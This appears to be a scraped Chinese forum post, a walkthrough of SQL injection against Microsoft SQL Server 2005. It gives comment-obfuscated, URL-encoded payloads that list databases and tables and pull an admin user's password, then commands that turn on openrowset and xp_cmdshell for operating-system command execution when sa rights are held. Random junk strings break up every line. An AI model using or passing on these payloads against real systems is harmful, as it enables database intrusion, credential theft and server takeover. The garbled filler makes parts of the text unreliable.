9 y: ], a6 G0 ~5 k6 H% T" a0 l- C. I0 G/ m3 E% U( l) {# |
5 Z6 Q8 t, @6 ~& B! ^0 w* f/ J& F
[Copy to clipboard]CODE:- l7 d+ h6 R9 ?( S9 w% d% ]( J, F7 x
/**/and/**/(select/**/top/**/1/**/isnull(cast([name]/**/as/**/nvarchar(500)),char(32))%2bchar(124)/**/from/**/[master].[dbo].[sysdatabases]/**/where/**/dbid/**/in/**/(select/**/top/**/1/**/dbid/**/from/**/[master].[dbo].[sysdatabases]/**/order/**/by/**/dbid/**/desc))%3d0--" `. B9 T! g* F( v
) V: h1 g. R, X7 x* |( U y: |爆表语句,somedb部份是所要列的数据库,红色数字1累加) d. m V. i. x
' N& ~7 n% W i
! H+ R$ t# X$ h: L[Copy to clipboard]CODE:
: J# g% Q9 p- K" p4 s/ v/**/and/**/(select/**/top/**/1/**/cast(name/**/as/**/varchar(200))/**/from/**/(select/**/top/**/1/**/name/**/from/**/somedb.sys.all_objects/**/where/**/type%3dchar(85)/**/order/**/by/**/name)/**/t/**/order/**/by/**/name/**/desc)%3d0--
, ^1 V( }% m: I! k. U4 w" A3 o9 E8 j& b% h9 Q' g. d7 N
爆字段语句,爆表admin里user='icerover'的密码段3 x8 V% x( z6 c. Z: Q& U
& ]% c2 W4 J3 F* K& m
& U' c: Q& @1 b9 k9 G[Copy to clipboard]CODE:
, r$ k) h( }4 X7 e**/And/**/(Select/**/Top/**/1/**/isNull(cast([password]/**/as/**/varchar(2000)),char(32))%2bchar(124)/**/From/**/(Select/**/Top/**/1/**/[password]/**/From/**/[somedb]..[admin]/**/Where/**/user='icerover'/**/Order/**/by/**/[password])/**/T/**/Order/**/by/**/[password]Desc)%3d0--- _# \* A8 f$ o, N% {
; S3 K3 f2 q) b5 K; smssql2005默认没有开xp_cmdshell的,openrowset也不能用
& p8 X& X; F, t) d& Z3 x如果是sa权限,可以这样来开启! C5 B! K* M! Q# `% _+ i
开启openrowset, ~8 p9 H& F Q" I; J/ R
0 U! _, M5 o& O7 D
/ f9 ^; R \/ ^/ ?1 U[Copy to clipboard]CODE:
- r2 v/ e* Y* {# w2 D; j( @ y/**/sp_configure/**/'show/**/advanced/**/options',/**/1;RECONFIGURE;--8 S1 @ b, z& W) k
/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',/**/1;RECONFIGURE;--. S- f; K& x$ t R
/ I0 @7 [: b. w; q l$ G( J开启xp_cmdshell# i" P' ~( R+ g0 Z p
: K/ V* b- m; a: R% v
3 L- l1 w1 u6 g[Copy to clipboard]CODE:/ k1 ~) O# F" R5 V3 a I" G7 E
EXEC/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',1;RECONFIGURE;-- X/ g9 h [" d1 E, I5 n" P/ `% }/ m# y
EXEC/**/sp_configure/**/'show/**/advanced/**/options',1;RECONFIGURE;EXEC/**/sp_configure/**/'xp_cmdshell',1;RECONFIGURE;--
5 [1 r5 O0 a# ]/ c
& C( e& M4 l6 N: y4 a5 I6 @ok,over~~晚安( X* V0 S' r8 ^6 |, Q, Z! c
|